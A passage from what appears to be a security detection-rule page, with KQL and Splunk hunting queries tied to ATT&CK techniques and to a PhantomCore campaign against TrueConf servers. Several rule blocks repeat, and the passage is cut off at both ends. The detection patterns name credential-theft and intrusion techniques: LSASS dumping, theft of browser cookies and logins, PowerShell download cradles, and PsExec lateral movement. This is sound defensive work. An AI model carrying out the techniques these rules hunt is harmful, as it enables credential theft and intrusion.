InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-274 use cases3 techniques6 kill-chain phases detected
Anthropic’s Claude Mythos Preview has dominated security discussions since its April 7 announcement. Early reporting describes a powerful cybersecurity-focused AI system capable of identifying vulnerabilities at scale and raising serious questions about how quickly organizations can validate, prioritize, and remediate what it finds. The debate that followed has mostly focused on the right
CVEsCVE-2026-33626CVE-2026-32202CVE-2026-3854
ATT&CKT1176T1190T1195.002
Click any ATT&CK pill below to open it on the Matrix
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-04-2718 use cases11 techniques6 kill-chain phases detected
A pro-Ukrainian hacktivist group called PhantomCore has been attributed to attacks actively targeting servers running TrueConf video conferencing software in Russia since September 2025. That's according to a report published by Positive Technologies, which found the threat actors to be leveraging an exploit chain comprising three vulnerabilities to execute commands remotely on susceptible
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · [LLM] TrueConf Server service spawning shells / PHP — BDU:2025-10116 RCE exploitation
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · [LLM] PhantomCore rogue local admin 'TrueConf2' created on TrueConf server
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Remote service execution — PsExec / SMB lateral movement · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · [LLM] PhantomCore Veeam-Get-Creds PowerShell credential harvesting
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("stardebug.app", "alphafly-drones.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("stardebug.app", "alphafly-drones.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("stardebug.app", "alphafly-drones.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] PhantomCore rogue local admin 'TrueConf2' created on TrueConf serverInstallationHigh
Hunts for the very specific post-exploitation behaviour reported by Positive Technologies in which PhantomCore drops a DLL on a compromised TrueConf Server that creates a local administrator account literally named 'TrueConf2'. This is a distinctive, low-volume artifact unique to this campaign.
Rationale: The literal account name 'TrueConf2' is called out by Positive Technologies as a PhantomCore signature on compromised TrueConf Servers; an attacker-controlled local admin with this exact name has effectively zero benign baseline. Also covers the rundll32-driven DLL path used to create it.
Cross-checked against:
• https://securelist.com/head-mare-hacktivists/113555/
• https://malpedia.caad.fkie.fraunhofer.de/actor/head_mare
• https://www.scworld.com/brief/trueconf-vulnerabilities-weaponized-in-pro-ukrainian-hacktivist-attacks-against-russia
• https://cyble.com/blog/head-mare-deploys-phantomcore-against-russia/
ATT&CKT1136.001T1078.003T1098
Data sourcesEndpoint.ProcessesChange.All_Changes
union
( DeviceProcessEvents
| where (FileName in~ ("net.exe","net1.exe","dsadd.exe","powershell.exe","pwsh.exe","cmd.exe","rundll32.exe"))
| where ProcessCommandLine has "TrueConf2"
| where ProcessCommandLine has_any ("user","localgroup","administrators","/add","NetUserAdd","New-LocalUser","Add-LocalGroupMember")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine ),
( DeviceEvents
| where ActionType in~ ("UserAccountCreated","UserAccountAddedToLocalGroup")
| where AccountName =~ "TrueConf2" or AdditionalFields has "TrueConf2"
| project Timestamp, DeviceName, ActionType, AccountName, AdditionalFields, InitiatingProcessFileName, InitiatingProcessCommandLine )
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.user) as user from datamodel=Endpoint.Processes where (Processes.process_name IN ("net.exe","net1.exe","dsadd.exe","powershell.exe","pwsh.exe","cmd.exe","rundll32.exe")) AND Processes.process="*TrueConf2*" by host Processes.process_name Processes.parent_process_name Processes.process Processes.user | `drop_dm_object_name(Processes)` | append [| tstats `summariesonly` count from datamodel=Change.All_Changes where All_Changes.action=created All_Changes.object_category=user All_Changes.user="TrueConf2" by All_Changes.dest All_Changes.user All_Changes.src_user | `drop_dm_object_name(All_Changes)`] | stats values(*) as * count by host
[LLM] TrueConf Server service spawning shells / PHP — BDU:2025-10116 RCE exploitationExploitationHigh
Detects exploitation of the TrueConf BDU:2025-10116 command-injection chain by alerting when the TrueConf Server installation tree (or its service account) spawns interactive shells, php-cgi, or admin tooling — the post-exploit behaviour that drops the PHP webshell and PhantomPxPigeon described by Positive Technologies.
Rationale: The article specifies the TrueConf Server is exploited via three chained vulns (incl. the 9.8 command-injection BDU:2025-10116) and used as a springboard, then dropped with a PHP web shell on the same host. A TrueConf-pathed parent spawning interactive shells / php / native recon binaries, or any new .php file landing under the TrueConf install tree, is a near-zero-baseline indicator of this exploit chain on a TrueConf box.
Cross-checked against:
• https://www.scworld.com/brief/trueconf-vulnerabilities-weaponized-in-pro-ukrainian-hacktivist-attacks-against-russia
• https://securelist.com/head-mare-hacktivists/113555/
• https://cyble.com/blog/head-mare-deploys-phantomcore-against-russia/
ATT&CKT1190T1059.003T1059.001T1505.003
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
union
( DeviceProcessEvents
